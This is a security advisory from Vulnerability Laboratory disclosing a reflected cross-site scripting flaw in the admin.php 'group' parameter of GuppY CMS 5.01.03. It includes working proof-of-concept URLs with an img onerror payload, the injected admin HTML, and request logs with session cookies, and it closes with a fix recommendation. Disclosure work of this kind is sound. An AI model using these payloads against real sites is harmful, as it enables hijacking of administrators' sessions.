Document Title: =============== Guppy CMS v5.01.03 - Client Side Cross Site Scripting Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1887 Release Date: ============= 2016-07-29 Vulnerability Laboratory ID (VL-ID): ==================================== 1887 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== GuppY, the easy, free and databaseless web portal, will allow you to generate very easily a complete and interactive web site. A guestbook, a forum and the possibility to easily add some mods as poll, gallery, directory, etc. (Copy of the Vendor Homepage: http://www.freeguppy.org/?lng=en ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a client-side cross site scripting vulnerability in the official Guppy v5.01.03 open-source content management system. Vulnerability Disclosure Timeline: ================================== 2016-07-29: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== GuppY Product: Gruppy - Content Management System (Web-Application) 5.01.03 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A client-side cross site scripting web vulnerability has been discovered in the official Guppy v5.01.03 open-source content management system. The vulnerability allows remote attackers to inject malicious script codes on client-side browser to web-application GET method requests. The vulnerability is located in the groups parameter of the admin.php file. Remote attackers are able to prepare special crafted malicious links to trigger a client-side cross site scripting issue aginst the cms administrator accounts. The request method to inject is GET and the attack vector is located on the client-side of the content management system. The security risk of the non-persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. Exploitation of the persistent input validation web vulnerability requires no privileged web-application user account and only low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules. Request Method(s): [+] GET Vulnerable Module(s): [+] Administrator Backend - User Management Vulnerable File(s): [+] admin.php Vulnerable Parameter(s): [+] groups Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC. Exploitation http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(document.cookie);%3E http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(71337);%3E PoC: Admin Backend (admin.php?lng=fr&pg=members&act=6&group) <div class="tblc"> <br><p align="center">Ici vous pouvez <strong>ajouter</strong> ou <strong>supprimer</strong> un membre du groupe privé</p> <br><hr> <br><br><br> <table class="bord" summary="" align="center" border="0" cellpadding="2" cellspacing="1" width="300"> <tbody><tr class="forum"> <td style="text-align:left;" width="66%"><b>Membres</b></td> <td align="center"><b>Supprimer</b></td> </tr> </tbody></table><br> <form name="members" action="admin.php?lng=fr" method="post"> <input name="pg" value="members" type="hidden"> <input name="regit" value="add" type="hidden"> <input name="act" value="6" type="hidden"> <input name="group" value=" " type="hidden"><[CLIENT SIDE SCRIPT CODE EXECUTION OF GROUPS!]img src="x" onerror="prompt(22);">" /> <p style="text-align:center">Nouveau membre : <select name="member" style="width:120px;"> <option value=""> </option></select><br> <br><button type="submit" title="Enregistrer">Enregistrer</button> </p></form> <br><p></p> <br><hr> <p style="padding:10px 0;" align="center"> <a href="admin.php?lng=fr&pg=members&act=5">Retour Gestion des groupes</a><br> <a href="admin.php?lng=fr&pg=members">Retour admin membres</a> || <a href="admin.php?lng=fr">Retour Admin</a> || <b><a href="admin.php?lng=fr&logout=1">DECONNEXION</a></b></p> </div> --- PoC Session Logs [GET] --- 14:14:47.103[95ms][total 2880ms] Status: 200[OK] GET http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(31337);%3E Mime Type[text/html] Request Header: Host[guppy-cms.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[GuppyAdmin=-1393274728; __utma=87180614.1614609677.1469523897.1469530273.1469534279.3; __utmc=87180614; __utmz=87180614.1469534279.3.2.utmcsr=guppy-cms.localhost:8080|utmccn=(referral)|utmcmd=referral|utmcct=/guppy/; __gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.3.1469535086.1469534277.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469534277%2C%22http%3A%2F%2Fwww.13956872 hfd2incb.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; _pk_ses.2.bb5e=*; __utmb=87180614.95.10.1469534279; __utmt=1] Connection[keep-alive] Response Header: Server[nginx/1.2.1] Content-Type[text/html; charset=;] Transfer-Encoding[chunked] Connection[keep-alive] X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1] Set-Cookie[GuppYUser=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0] - 14:15:37.856[95ms][total 4423ms] Status: 200[OK] GET http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(31337);%3E Mime Type[text/html] Request Header: Host[guppy-cms.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[GuppyAdmin=-1393274728; __utma=87180614.1614609677.1469523897.1469530273.1469534279.3; __utmc=87180614; __utmz=87180614.1469534279.3.2.utmcsr=guppy-cms.localhost:8080|utmccn=(referral)|utmcmd=referral|utmcct=/guppy/; __gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.3.1469535289.1469534277.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469534277%2C%22http%3A%2F%2Fwww.13956872 hfd2incb.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; _pk_ses.2.bb5e=*; __utmb=87180614.97.10.1469534279; __utmt=1] Connection[keep-alive] Cache-Control[max-age=0] Response Header: Server[nginx/1.2.1] Content-Type[text/html; charset=;] Transfer-Encoding[chunked] Connection[keep-alive] X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1] Set-Cookie[GuppYUser=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0] Reference(s): http://guppy-cms.localhost:8080/ http://guppy-cms.localhost:8080/guppy/ http://guppy-cms.localhost:8080/guppy/admin/ http://guppy-cms.localhost:8080/guppy/admin/admin.php Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable `groups` parameter in the add GET method request. Disallow the usage of special chars to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the guppy cms groups modul is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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